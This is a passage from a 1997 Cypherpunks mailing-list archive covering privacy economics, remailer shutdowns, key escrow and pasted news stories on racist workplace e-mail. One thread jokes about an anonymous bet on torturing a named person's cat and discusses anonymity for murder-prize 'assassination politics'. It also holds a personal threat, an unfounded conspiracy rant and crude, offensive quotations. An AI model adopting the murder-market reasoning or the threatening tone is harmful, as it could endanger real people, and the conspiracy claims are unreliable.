more privacy for himself, it doesn't follow that everyone will be better
off when everyone has more privacy.

Cypherpunks accept the idea that the widespread deployment of cryptography
will increase privacy for everyone (or at least everyone who owns a
computer and an Internet link).  They also argue that this is a good
thing.  The reason most often cited is that privacy serves as a barrier
for coercion.  But privacy is also a barrier to almost every other kind of
social relationship.  For example, economists recognize that many market
failures/inefficiencies are caused by information asymmetries (i.e., the
fact that in a potential exchange one party has more information about the
exchange than the other.  The canonical example for this is the used car
market.)  Increased privacy would seem to only exacerbate these problems.

What arguments can be made that the benefits of increased privacy outweigh
its costs, considered for society as a whole?







From dlv at bwalk.dm.com  Fri Mar 21 17:27:18 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 21 Mar 1997 17:27:18 -0800 (PST)
Subject: PGP Security
In-Reply-To: <199703210116.TAA12097@manifold.algebra.com>
Message-ID: <5PTX4D3w165w@bwalk.dm.com>


ichudov at algebra.com (Igor Chudov @ home) writes:

> Mark M. wrote:
> > 
> > Speaking as "XXXXXXXXX" (or, at least, one of the "XXXXXXXXXs"), I did rece
> > the following message which originated from "TruthMonger."  Shortly after I
> > received the message, anon.nymserver.com closed down all of its free,
> > anonymous accounts due to "abuse."
> > 
> 
> This is mostly addressed to jimbell: jim, it is now obvious that
> the remailer network is as weak as a 5 year old child. It cannot
> possibly withstand even mildest forms of "abuse".
> 
> Due to this fact, I question the viability of your assassination 
> politics idea as it does not seem possible to safely operate an
> assassination bot.

Suppose I want to bet $1000 that Chris Platt's cat, "Ben", won't be
assassinated until the end of March in some excruciatingly painful way
(say, skinned alive, soaked in acid, and cut into pieces with an
acetilene torch :-). What protocols can someone use to bet against me
and to collect the winnings? (Assume that I'll cheerfully pay up if
I lose, and that the other party wants to remain anonymous.)

Another thought just occurred to me - LEA's often advertize hotlines for
anonymous tips - a "stukach" is given a code and if his tip works, 
supposedly collects a payoff. Doesn't he have to give his ss# so his
income can be taxed?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Fri Mar 21 17:30:06 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 21 Mar 1997 17:30:06 -0800 (PST)
Subject: Lawyers on the rampage
Message-ID: <eVuX4D6w165w@bwalk.dm.com>


Newsday: Wednesday, March 19, 1997

Postal Service Probing E-Mailed Racial Jokes

The U.S. Postal Service is investigating a risque glossary of phony
"ebonics" terms that was sent on the service's electronic mail system. A
postal workers' union labeled the e-mail a "vicious, racist message."

The list of 16 words and their supposed meanings in common parlance
among blacks is rife with sexual and racial stereotypes. It apparently
was sent by a manager in New York using an internal home page.

The list was presented as a tongue-in-cheek guide for managers to
improve communications with office staff. In a letter Friday to
Postmaster General Marvin Runyon, an American Postal Workers Union
official said Runyon's response to the incident should "send a message
to the entire postal community."

"It is a vicious, racist message covered with black humor, and any
rationalization would constitute an insult to those who it is intended
to depict," wrote William Burrus, the union's executive vice president.

A postal official agreed the message was offensive and promised a quick
investigation. "We find the content of this message to be repugnant and
highly offensive," said spokesman Roy Betts. "We have asked the postal
inspection service to immediately get to the bottom of this matter."

Two other major employers -- Morgan Stanley & Co. and Citibank -- were
sued by black employees this year over e-mail messages the employees
said contained racist jokes. The Morgan Stanley employees said the
electronic mailing created a "hostile work environment." Both companies
said they would not tolerate such behavior.

Although the Postal Service message and Burrus' letter both reached
Runyon's office, he said he had not seen them and no action was taken
until postal officials received an inquiry from a news organization late
Monday afternoon.

Betts explained that Runyon was out of the office all last week.

In addition to a stated commitment to diversity in its work force, the
Postal Service has a zero-tolerance policy for racism.

But Angelo Wider, the Postal Service's manager of revenue assurance and
national president of the Afro-American Postal League United for
Success, said: "We still have deep-seated racism in the Postal Service.
It tends to stay in the closet, but every now and then it pops out in
public."

According to Wider, only 10 percent of postal managers are minorities,
while 21 percent of the workers are minorities.

A spokesman for the American Postal Workers Union, Tom Fahey, complained
that the message was symptomatic of an attitude he said pervades Postal
Service management. "We come across communications like this all the
time, Fahey said.

Betts insisted the message "does not reflect the Postal Service's policy
and position."



Washington Post, Thursday, March 20, 1997

E-Mail Humor: Punch Lines Can Carry a Price

By Michelle Singletary

The messages regularly travel between computer screens at workplaces
across the country: Why beer is better than women. Ebonics 101. Top 10
reasons computers must be male.

For many employees e-mail has evolved into a casual electronic
conversation complete with jokes and gossip whether of the politically
correct variety or what could be deemed, particularly in the eyes of
someone of a different race or sex than the sender, as offensive.

Employees typically assume their messages are private and will be seen
only by the recipient. But because messages are routinely saved by
companies, if they end up in the hands of someone for whom they were not
intended, it's often not very funny and ultimately could be used against
the employee and the company in a bias lawsuit. It also creates a
potentially tricky civil-liberties issue for companies that don't want
to monitor employees' e-mail, but don't want to get caught up in a
lawsuit either.

In the past four months, three major U.S. corporations-- R.R. Donnelley
& Sons Co., Morgan Stanley & Co. and Citicorp's Citibank N.A.-- have
been sued by black employees alleging discrimination as a result of
messages sent via e-mail.

Lawyers and technology experts say they believe the suits are the
beginning of a wave of litigation in which employees produce e-mail
evidence of sex, race or age discrimination. Also, lawyers searching for
ways to prove or disprove discrimination routinely are asking companies
to retrieve e-mail from their computer systems.

``Employees have this expectation that e-mail is private, but it's not
and they don't understand that they can leave a footprint,'' said Frank
Connolly, a professor of computer science and information systems at
American University. ``The medium lulls you into a false sense of
security that it probably shouldn't.''

Electronic mail, or e-mail as it is commonly known, is being used by
nearly 80 percent of organizations to communicate and share ideas and
information, according to a survey released last year by the Society for
Human Resource Management. Estimates are that by the year 2000, about 40
million people in the United States will use e-mail, sending more than
60 billion messages annually.

While e-mail quickly has become a common workplace tool, only 36 percgnt
of organizations that use it have written policies addressing its use
and only 34 percent provide training on the proper and improper use of
e-mail, according to the SHRM survey.

Legal and computer experts say e-mail use has added a troubling wrinkle
to workplace discrimination. Such communication has replaced the kind of
informal lunchroom conversations that might have taken place in the
past. In fact, employees have become so comfortable with e-mail that
they say things they never would write in a memo or utter out loud for
fear of being overheard.

And, unlike spoken conversations, e-mail messages are toneless and lack
context, and consequently could be extremely damaging to a company if
used as evidence in court.

``It's one thing to have testimony in court as to an alleged
inappropriate comment made a number of years ago vs. a document where
jurors see it in black and white,'' said Stephen L. Sheinfeld, a New
York attorney who heads the labor and employment department at Whitman
Breed Abbott & Morgan.

Lawyers say workers who electronically send what might be viewed as
racist jokes could be creating what legally is considered a hostile work
environment opening themselves and their companies up to discrimination
lawsuits.

Companies, which often don't have policies on e-mail use and etiquette,
can be liable for their employees' discriminatory actions, experts say,
because legally e-mail sent from work is treated like any official
record, such as a memo written on company letterhead.

``If an executive says something in an e-mail, it's as if he sent it
through a memo,'' according to Jeffrey Neuberger, partner in the New
York law firm of Brown, Raysman & Millstein, Felder & Steiner.

As yet there isn't much case law on this issue. But plaintiffs'
attorneys could show employees were harmed emotionally by being exposed
to racist or sexist e-mail messages. Additionally, e-mail messages also
could be used against companies with spotty or bad histories for hiring
and promoting minorities and women.

``Claimants are now searching the e-mail systems looking for smoking
guns and because e-mail is unerasable, it can come back to haunt an
employer,'' Sheinfeld said.

``There is some really bad, bad stuff being sent,'' said Lauren Reiter
Brody, a partner and co-chair of the employment-practices group at
Rosenman & Colin in New York. One of the companies recently sued, R.R.
Donnelley & Sons, a Chicago printer, is battling a racial-discrimination
lawsuit based in part on 165 racial, ethnic and sexual jokes allegedly
passed through its e-mail system.

Morgan Stanley also has been sued over allegations that racist jokes
were passed between co-workers through the company's e-mail system. And,
last month, Citicorp's Citibank N.A. was sued in a class action in which
two black employees allege that white supervisors and managers exchanged
racist electronic-mail messages.

In the Citibank case, the plaintiffs alleged that because of the
electronic mail, they were subject to a ``pervasively abusive racially
hostile work environment.''

In all three cases, the companies denied wrongdoing and stated they had
taken measures to discipline employees who used the company's e-mail
system inappropriately.

In the Citibank and Morgan Stanley cases, the lawsuits allege that white
managers circulated a list of words that were used in sentences designed
to poke fun at the use of Ebonics, sometimes referred to as black
English.

In one example, submitted as part of the Citibank case, the word
``disappointment'' is capitalized and followed by the sentence: ``My
parole officer tel me if I miss disappointment they gonna send me back
to da big house.''

``This kind of joke without a doubt has no place in the workplace,''
said Stephen T. Mitchell, a Manhattan lawyer representing the two
Citibank employees who filed suit. ``You have a situation that people
that have the power to promote and the power to terminate are ridiculing
people that don't have that power.''

Mitchell said he has been contacted by more than a dozen other Citibank
employees who want to join the lawsuit.

In 1995, Chevron Corp. agreed to pay four women a total of $2.2 million
in settling a sexual-harassment suit after the plaintiffs produced,
among other evidence, e-mail containing sexist jokes about ``why beer is
better than women.''

E-mail humor reaches across gender, racial and ethnic lines. A recent
joke being circulated on the ``Top 10 reasons computers must be male,''
for example, contained as No. 10, ``They have a lot of data but are
still clueless.''

Ultimately, the heightened concern about the liability generated by
e-mail messages will cause more employers to begin monitoring the
electronic mail sent and received by their employees, legal experts
predict.

``I'm getting a lot of inquiries about e-mail monitoring,'' said D.
Michael Underhill, a partner with Morgan, Lewis & Bockius, a District of
Columbia-based law firm.

Privacy advocates, however, caution employers not to overreact in
responding to possible misuse of e-mail, saying that could cause other
problems to develop.

``Employers shouldn't monitor e-mail unless they have strong reason to
think someone is abusing it,'' said Evan Hendricks, editor of the
Privacy Times.

Legal experts recommend that workplaces have some form of monitoring
e-mail and disclose this to employees. Some experts even suggest that
companies routinely dispose of e-mail messages from backup computer
systems the way they would other sensitive documents. They also say
companies should develop immediately a written policy for e-mail and
provide training on its proper use. Most importantly, such policies
should prohibit the use of offensive language or jokes about race or
sex, they said.

Experts also caution employees of the same race and sex against sending
one another off-color jokes.

Patricia L. Morris, dean of the School of Education and Urban Studies at
Morgan State University, said off-color racial or sexual jokes reinforce
stereotypes. This is especially true for black workers who might be
passing along jokes to one another about Ebonics, for example, at
companies where African Americans are still striving to be paid and
promoted on the same basis as whites.

``We shouldn't accept it from whites and we shouldn't tolerate it at all
from each other,'' Morris said.



USA Today, Thursday, March 20, 1997

Computer-Banking Bugs Turn Off Customers

By Christine Dugas

As more people sign up for computer banking and bill paying, some banks'
systems are becoming overloaded -- causing delays and bounced checks.

The industry says it is experiencing growing pains and is fixing the
problems. But some customers are losing patience.

Richard Rosett, a professor at Rochester (N.Y.) Institute of Technology,
has been disconnected on several occasions while transmitting bill
payments to Chase Manhattan bank.

``The only way to find out if the payments went through was to call
Chase,'' he says. But then he was put on interminable hold. Once he
clocked the wait at more than an hour.

Rosett became more irate when he mistakenly was charged $21.95 in
electronic banking fees. And Chase didn't respond to his electronic mail
complaint, he says. So, he's taking his business elsewhere.

Chase, the USA's largest bank, isn't the only financial institution with
problems. ``Banks are victims of their own success,'' says Bill Burnham,
a banking consultant at Booz, Allen & Hamilton.

Since NationsBank launched its personal computer banking service a year
ago, 320,000 customers have signed on. ``We were able to keep up with
the growth until recently,'' says Smita Quinn, PC banking manager. Then
customers encountered connection delays.

They sometimes had to wait up to 10 minutes to speak to a bank
representative by phone. So NationsBank curtailed its marketing push and
beefed up its call center staff.

Chase says it also is increasing its phone staff -- from 50 people to
150 by the end of April. Ed Valenski, senior vice president in charge of
the call center, says Chase tries to resolve problems, but many are
beyond its control.

That's because Intuit Services handles payment processing and other
computer services for about 40 banks, including Chase. Connection delays
and service interruptions cropped up because the company couldn't handle
the growing volume. Intuit Services recently was sold to CheckFree, a
large national payment processor, which says it now has ironed out the
problems.

But it was too late to help Pam Toner of Fairfield, Conn. Toner says her
August home-equity loan payment didn't go through because of a glitch in
Chase's PC banking service. And the late payment ended up on the Toners'
credit report.

Now Chase is trying to clear up the mess by writing the credit agency.
To make up for such problems, the bank has sent some customers flowers.
But Toner didn't get any.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From ichudov at algebra.com  Fri Mar 21 17:50:10 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Fri, 21 Mar 1997 17:50:10 -0800 (PST)
Subject: FBI Visits JPUNIX
In-Reply-To: <199703210742.XAA21100@mailmasher.com>
Message-ID: <199703220138.TAA25090@manifold.algebra.com>


Huge Cajones Remailer wrote:
>   Anonymous continued:
> >   Efforts to send it through a second remailer also failed, with no
> > notice from the server of any problems being received. Other email
> > sent through the remailer at the same time encountered no difficulties.
> 
> Later the same day John Perry wrote:
> >         Due to an FBI investigation that was opened recently naming
> > myself and jpunix as suspects, I have decided that the heat taken by
> > remailer operators due to those individuals that can't control
> > themselves has become unacceptable. 
> 

Note that remailer users should admit the possibility of a government
agent being among remailer operators. I have very high regards to John
Perry personally, but believe me, it does not a lot of effort to 
subvert a more regular person. It is generally easy to find some
"crime" that normally would not be prosecuted and and then bullied
into submission.

A reasonably risk-averse remailer users should accept that probability 
and never assume that one or two remailers in a chain is enough for
anything serious. As well, I strongly object to remailer operators
openly discussing who sent what to whom (as it recently happened).

If a remailer operator discovers that a certain user is spamming his
service, he could publish a hash (not cryptographically strong) of the
offender's email address and not teh address itself.

	- Igor.





From ichudov at algebra.com  Fri Mar 21 17:54:34 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Fri, 21 Mar 1997 17:54:34 -0800 (PST)
Subject: PGP Security
In-Reply-To: <5PTX4D3w165w@bwalk.dm.com>
Message-ID: <199703220150.TAA25262@manifold.algebra.com>


Dr.Dimitri Vulis KOTM wrote:
> 
> ichudov at algebra.com (Igor Chudov @ home) writes:
> 
> > Mark M. wrote:
> > > 
> > > Speaking as "XXXXXXXXX" (or, at least, one of the "XXXXXXXXXs"), I did rece
> > > the following message which originated from "TruthMonger."  Shortly after I
> > > received the message, anon.nymserver.com closed down all of its free,
> > > anonymous accounts due to "abuse."
> > > 
> > 
> > This is mostly addressed to jimbell: jim, it is now obvious that
> > the remailer network is as weak as a 5 year old child. It cannot
> > possibly withstand even mildest forms of "abuse".
> > 
> > Due to this fact, I question the viability of your assassination 
> > politics idea as it does not seem possible to safely operate an
> > assassination bot.
> 
> Suppose I want to bet $1000 that Chris Platt's cat, "Ben", won't be
> assassinated until the end of March in some excruciatingly painful way
> (say, skinned alive, soaked in acid, and cut into pieces with an
> acetilene torch :-). What protocols can someone use to bet against me
> and to collect the winnings? (Assume that I'll cheerfully pay up if
> I lose, and that the other party wants to remain anonymous.)

There may be a problem whish is that the bettors like yourself may be
held liable for any damages to Platt and his property. The lawyers on
this list can have more to say on that.

If there is presently no law covering that (likely there are) it is not
hard to come up with one, I believe.

Without anonymity it will not work very well. After all, if you announce
that you pay a prize to have someone murdered, your potential victim
will be able to murder you even earlier. Anonymity is crucial here.

> Another thought just occurred to me - LEA's often advertize hotlines for
> anonymous tips - a "stukach" is given a code and if his tip works, 
> supposedly collects a payoff. Doesn't he have to give his ss# so his
> income can be taxed?

They may withhold the tax at the time of payment. It does not matter
anyways since it is a payment from the government. If they do not collect
taxes from payments to stukachi, they can simply reduce the payment amounts
proportionally.

Notorious stukach Colin James III knows better anyways. Ask him.

	- Igor.





From camcc at abraxis.com  Fri Mar 21 18:00:44 1997
From: camcc at abraxis.com (Alec)
Date: Fri, 21 Mar 1997 18:00:44 -0800 (PST)
Subject: Jackboots in Canada
In-Reply-To: <3.0.1.32.19970321083409.007cfe80@smtp1.abraxis.com>
Message-ID: <3.0.1.32.19970321205945.007d6930@smtp1.abraxis.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 02:30 PM 3/21/97 -0800, Eric Murray wrote:

[snip]

|The alternative, proposed by some goverment person (governor?) in Quebec,
was
|to suspend "individual liberties" for bikers, making it possible to
|pull one over at any time, search them, and if explosives are found
|assume they're guilty until proven innocent. 

[snip]

Isn't this the common ploy. "Hey, aren't we the civil liberterians; we were
going to take away _all_ your civil liberties. You should be PLEASED we took
only those we did. Besides, it's for your own good, and will be used _only_
to control those filthy drug-dealing bikers, not the decent citizenry."

What has the reaction been in Canada?

Alec
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From camcc at abraxis.com  Fri Mar 21 18:13:21 1997
From: camcc at abraxis.com (Alec)
Date: Fri, 21 Mar 1997 18:13:21 -0800 (PST)
Subject: Cypherpunks Bottleneck [was Cypherpunks & Ecash]
Message-ID: <3.0.1.32.19970321211346.00804dc0@smtp1.abraxis.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 05:04 PM 3/21/97 -0800, you wrote:
|[Hmmmhhhh...after noticing that a message I sent off this morning at 9 had
|not gone out as of late this afternoon, I looked to see if other messages
|I've sent off have gone out. I found that a message I sent out last night,
|23 hours ago, has not arrived at my site, nor have I seen any followups by
|others to it. So I am sending it again. I will go back through my messages
|and look for other such non-sends. I suggest others do the same. I don't
|know what the problem is, but it's worse in this respect than the problems
|with toad.com.]
|

Tim:

Last Thursday night I got word of Perry's shut down from the PGP Users List;
I had
not seen it posted during the day so I forwarded it to the cypherpunks list.

It showed up at my location 5 minutes ago.

I have the consolation of knowing mine was not the only one delayed.

I seem to have noticed messages being repeated this afternoon.

Alec
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Zb//53oBjIg=
=INC3
-----END PGP SIGNATURE-----






From lucifer at dhp.com  Fri Mar 21 18:17:28 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Fri, 21 Mar 1997 18:17:28 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
Message-ID: <199703220217.VAA24062@dhp.com>


                        BELIEVE the children!

Vulis wrote:
> Out in the hobbsian wild, if the parents abuse their offsprings (kill them,
> fail to train them), then the offsprings won't reproduce and the parent's
> genes won't perpetuate.  Do we really need a more coersive system of
> punishing "child abuse"?

	We don't (yet) live in the "hobbsian wild". Children do what they are 
taught. If the are taught to react to the slightest provocation with violence,
then they will, when they grow up (notice I didn't say mature), react similarly.
If we wish to live in a society of reasonable people, our children need to 
be raised respond reasonably to provocation. This means get violent when, and
only when necessary. 

	So, yes. I would say we need a fairly coersive system for punishing 
child abuse. We also need a clear defination of what child abuse really is.

                        BELIEVE the children!







From slavin at acf2.NYU.EDU  Fri Mar 21 19:45:32 1997
From: slavin at acf2.NYU.EDU (Ilya Slavin)
Date: Fri, 21 Mar 1997 19:45:32 -0800 (PST)
Subject: NYU's PGP Key-Signing Seminar - a critique
In-Reply-To: <Pine.LNX.3.95.970321162457.147D-300000@void.el.net>
Message-ID: <Pine.ULT.3.95.970321223855.14300B-100000@acf2.NYU.EDU>


On Fri, 21 Mar 1997, Sergey Goldgaber wrote:

> I am writing regarding the PGP Seminar to be held on the 27th of March.
> Your informative session is laudible.  And, I would like to take full
> advantage of the key-signing session to follow.  However, there is a
> certain concern which it would be prudent to address first.

	Dear Sergey,

	You are, of course, correct about this -- I knew I missed
something when I was making up the instructions (I had to do it in 3
minutes).  I've made the correction.

	Ilya
_______________________________________________________________________
Ilya Slavin         slavin at acf2.nyu.edu          webmaster at cims.nyu.edu
Home Page is at http://www.nyu.edu/pages/advocacy/officers/slavin/
PGP Key fingerprint =  41 88 5D 47 AB 5A 01 D7  7F 89 6D 8E 77 0A 28 C5
'finger' slavin at acf2.nyu.edu to get my public key
_______________________________________________________________________






From toto at sk.sympatico.ca  Fri Mar 21 20:29:42 1997
From: toto at sk.sympatico.ca (Toto)
Date: Fri, 21 Mar 1997 20:29:42 -0800 (PST)
Subject: Cypherpunks Bottleneck [was Cypherpunks & Ecash]
In-Reply-To: <3.0.1.32.19970321211346.00804dc0@smtp1.abraxis.com>
Message-ID: <33335B64.77F1@sk.sympatico.ca>


Alec wrote:
> At 05:04 PM 3/21/97 -0800, you wrote:
> |[Hmmmhhhh...after noticing that a message I sent off this morning at 9 had
> |not gone out as of late this afternoon I will go back through my messages
> |and look for other such non-sends. I suggest others do the same. I don't
> |know what the problem is, but it's worse in this respect than the problems
> |with toad.com.]
> |
> 
> Tim:
> Last Thursday night I got word of Perry's shut down from the PGP Users List;
> I had
> not seen it posted during the day so I forwarded it to the cypherpunks list.
> It showed up at my location 5 minutes ago.

  I emailed the majordomo and it sent back a message saying, "I am not
a Bot."
It also added that from now on, it prefers to be addressed as 
'Major Domo', with proper respect for its rank.

  The situation is worse than I thought. Not only are the humans on the
list being replaced by Bots, but the Bots seem to be evolving and/or
mutating to emulate human characteristics.
  Also, I recently received a reply from a Bot that had an English 
accent and said it was having a "Baaaad day". I could smell wet wool,
too. I would suggest keeping an eye out for headers that contain the
words "Sender: toad.clone".

> -----BEGIN PGP SIGNATURE-----
> Version: 1.7
> 
> iQCVAgUBMzNFORGEDkNBIFORGEDQFDEQQAjFORGEDtJ+vNFORGEDPFTTcs6FORGEDq93tN
> ZbFORGEDBjIg=
> -----END PGP SIGNATURE-----

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From toto at sk.sympatico.ca  Fri Mar 21 21:39:50 1997
From: toto at sk.sympatico.ca (Toto)
Date: Fri, 21 Mar 1997 21:39:50 -0800 (PST)
Subject: Dorothy and the four Horseman
In-Reply-To: <3.0.32.19970321123328.00af9c00@gabber.c2.net>
Message-ID: <3333654C.5FCD@sk.sympatico.ca>


Douglas Barnes wrote:
> 
> Aldrich Ames is actually a great example of why Key Escrow is
> NOT a good idea. Any measure that concentrates keys in one or
> several locations creates a tempting target for spies,
> criminals and corporate espionage types. How much better do the
> GAK proponents plan to protect keys than, say, the names of all
> our agents in the former Soviet Union?
> 
> Doug







From toto at sk.sympatico.ca  Fri Mar 21 21:41:22 1997
From: toto at sk.sympatico.ca (Toto)
Date: Fri, 21 Mar 1997 21:41:22 -0800 (PST)
Subject: UK govt. to ban PGP (was Re: UK TTP Paper)
In-Reply-To: <1.5.4.32.19970321234615.008459a8@pop.pipeline.com>
Message-ID: <33336C84.1DF1@sk.sympatico.ca>


John Young wrote:
> There does appear to be a coordinated global action to issue
> policies on TTP, GAK and the like at this time.
> 
> All are apparently guided by The Wassenaar Arrangement amongst
> two dozen or so countries to act in concert, and to go public with
> dual-use controls in unison.
> 
> So, Clint Brooks' comment at CFP about a new policy coming out
> for stronger crypto is a surely a harbinger of global GAK, in the
> guise of TTP or Key Recovery, 

  Note that The Wassenaar Arrangement is not legislation passed 
by our government or others. It is the product of people who sit
in rooms and make decisions as to how the future of the world 
will be.
  Thus, through collusion between them, they decide what everyone
worldwide will be offered on the plate handed to them by their
government. Yet, when our legislators (and those of other nations)
pass laws affecting us, in order to 'fall into line' with these
'standards', it will be done under the auspices of 'the will of
the people'.

  My prediction is that, if it appears the efforts of global GAK
are stumbling because of opposition, then those opposing it will
find themselves attacked by a worldwide conspiracy to let the
streets in front of their homes go unattended and fall into 
disrepair. The opposition will thus dwindle, as people spend their
time writing the mayor, and letters to the editor of their hometown
newspaper.
  Ridiculous? I'm just pointing out that the rule of law in most
countries has split into two factions. We have elected legislators
to vote for laws concerning the latest ten-second sound-byte
controversy on the Jenny Jones Show, and we have a global web
of regulators and private actors to decide the more important
issues concerning our freedom and privacy.

  So, in the end, don't be surprised if The Wassenaar Arrangement
is amended to include the provision that anyone agreeing to wear
leg chains will have the potholes fixed on the streets in front
of their homes. 
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From cp at panix.com  Fri Mar 21 21:43:08 1997
From: cp at panix.com (Charles Platt)
Date: Fri, 21 Mar 1997 21:43:08 -0800 (PST)
Subject: PGP Security
In-Reply-To: <5PTX4D3w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970322003754.21017C-100000@panix.com>


On Fri, 21 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Suppose I want to bet $1000 that Chris Platt's cat, "Ben", won't be
> assassinated until the end of March in some excruciatingly painful way

Okay, Vulis, that's it, you have made an explicit threat in a public
forum, I know where you live, I know your phone number, in fact I once
spoke to you on the phone, and I will be suggesting to the rather slow
witted people at my local police precinct that you have already 
demonstrated unstable, threatening behavior toward many people, giving me 
good reason to believe that you are capable of assault.

This is the last you will hear from me online. Anything further will be 
stated in person.





From weidai at eskimo.com  Fri Mar 21 22:20:04 1997
From: weidai at eskimo.com (Wei Dai)
Date: Fri, 21 Mar 1997 22:20:04 -0800 (PST)
Subject: "why privacy" revisited
In-Reply-To: <v03007804af58f0258ca0@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970321190549.21129C-100000@eskimo.com>


On Fri, 21 Mar 1997, Timothy C. May wrote:

> The best arguments are not those couched in terms of "benefits" to
> society/markets, but in terms of "lowest common denominators." I favor the
> "Schelling point" view, and have espoused it here often.
> 
> In most Western systems, a reasonable Schelling point is that various
> actors agree not to try to enter the "private spaces" of others. For
> example, my neighbors and I agree not to enter each other's houses to pry
> and inspect.
> 
> (The Schelling point is that this "boundary" point is essentially agreed
> upon even though my neighbors and I have never formally negotiated it...as
> with animals and their "territories," certain equilibrium points are
> reached.)
> 
> In Western systems, it is recognized that the _costs_ of coercively
> entering another's home and/or private space are too high, and so we
> declare there to be a "right of privacy." In reality, what we mean is that
> we accept a private domain as a Schelling point.

I think you're answering the third meaning of "why privacy", "why DOES
privacy exist?"  This is a positive rather than a normative question
(which is what I was asking).  I agree with you that most likely privacy
exist because in some sense it is an equilibrium in the game of life.  But
what I'm asking is whether it is a desirable equilibrium, and whether a
new equilibrium involving more privacy is better than what we have now. 

> I reject the argument Wei Dai mentions, that market benefits could obtain
> if society rejected privacy, for two reason. First, because in an important
> sense rights are not the slaves of corporate or personal business
> interests. (E.g., my interest in Alice's television viewing habits does not
> trump her right to keep me out of her house.). Second,  because so-called
> "market efficiency" is largely an illusion anyway.

Certainly no real market is perfectly efficient, but some markets
are relativly more efficient than others, and most markets are more
efficient than alternative forms of economic organization (e.g.,
socialism) so I don't see how you can call "market efficiency" an
illusion.  The inefficiencies I was talking about were relative to the
case where both parties have the same information.

Also, I don't quite understand your first argument.  It seems to suggest
that privacy should exist for no reason in particular.  If this is the
case then it doesn't make sense to argue about the costs/benefits of
privacy. But it is my understanding that most cypherpunks believe more
privacy benefits everyone, and therefore work to making more privacy for
everyone.  What I'm looking for are arguments that support this belief.







From toto at sk.sympatico.ca  Fri Mar 21 22:45:12 1997
From: toto at sk.sympatico.ca (Toto)
Date: Fri, 21 Mar 1997 22:45:12 -0800 (PST)
Subject: Report from Supreme Court on CDA arguments
In-Reply-To: <v03007809af590e199645@[207.167.93.63]>
Message-ID: <33337669.CFF@sk.sympatico.ca>


Timothy C. May wrote:
 
> Nothing I have seen in the interpretations of the CDA would "excuse" me
> from saying "Fuck" (or worse) in a forum if I knew readers under 18 might
> see it. (Some of the pro-CDA folks talk about possible exceptions for, say,
> two 17-year-olds discussing sexual problems between themselves).
> 
> This was the main reason I did "Tim's Vernacular Translation of the Bible"
> as an alternate .sig. (Included below, by the way.)

> --
> [This Bible excerpt awaiting review under the U.S. Communications Decency
> Act of 1996]
> And then Lot said, "I have some mighty fine young virgin daughters. Why
> don't you boys just come on in and fuck them right here in my house - I'll
> just watch!"....Later, up in the mountains, the younger daughter said:
> "Dad's getting old. I say we should fuck him before he's too old to fuck."
> So the two daughters got him drunk and screwed him all that night. Sure
> enough, Dad got them pregnant, and had an incestuous bastard son....Onan
> really hated the idea of doing his brother's wife and getting her pregnant
> while his brother got all the credit, so he pulled out before he
> came....Remember, it's not a good idea to have sex with your sister, your
> brother, your parents, your pet dog, or the farm animals, unless of course
> God tells you to. [excerpts from the Old Testament, Modern Vernacular
> Translation, TCM, 1996]

  Perhaps this sig could be used in all replies to government 
agencies in regard to CDA and other censorship matters.
  Is it in the public domain?
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From nobody at huge.cajones.com  Fri Mar 21 22:46:10 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 21 Mar 1997 22:46:10 -0800 (PST)
Subject: FBI Visits JPUNIX
Message-ID: <199703220646.WAA32226@mailmasher.com>


jim bell wrote:
> 
> At 10:35 PM 3/20/97 -0500, John Perry wrote:
> > Apparently some high-ranking
> >official has been receiving anonymous email coming from my site that
> >is of a threatening nature. This official has decided to call in the
> >FBI as I was visited by said organization. I am shutting down remailer
> >operations immediately. 
 
> I think you should name the "high-ranking official" involved. 

  If there actually is one.

> We (and you) might also point out that as far as you know, these threatening
> notes could have been send by GOVERNMENT people, in an attempt to shut down
> the system.

  Perhaps there was no threatening note.
  Perhaps there was no visit from the FBI.

  The attempt to destroy the cypherpunks list failed. The next logical
target would be the remailers.
  Two remailers go down in the same week, both being tenacles of C2Net.
  Greg Broiles once again happens upon the scene of the accident, and
predictably warns everyone of the grave dangers and liabilities facing
remailer operators. How long until he publicly calls for the remailers
to be "killed," as he did with the cypherpunks list?

  Instead of solutions to the problems facing small remailers, we have
schills coming out of the woodwork to proclaim that remailers are only
feasible for Big Business to operate.
  Corporate takeover of the list failed, now corporate takeover of the
remailers seems to be the new agenda.

  I suggest that, instead of wasting time on a new battle, we simply 
resurrect all of the arguments over list control and re-post them
as arguments over remailer control, simply substituting the word
"remailer" everywhere that the word "list" occurs.

Truthmonger


    Cindy
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From nobody at huge.cajones.com  Sat Mar 22 00:56:07 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 22 Mar 1997 00:56:07 -0800 (PST)
Subject: LA Times article on crypto anarchy
Message-ID: <199703220856.AAA02883@mailmasher.com>


Hal Finney wrote:
> "'Activity in cyberspace ultimately forecasts the end of national
> control,' said David Post, visiting associate professor of law at
> Georgetown University."
 
> The article goes on to mention digital cash, crypto policy debates,
> problems with the CDA, Germany's attempt to block access to Radikal
> magazine and anti holocast info on the net, and other topics which we
> have discussed at length.  It is good to see these ideas beginning to
> enter the mainstream.
 
> This is what this list and this movement is capable of.  A lot of
> these ideas would not have received their prominence if it were not
> for the cypherpunks.  And of course there are powerful forces arranged
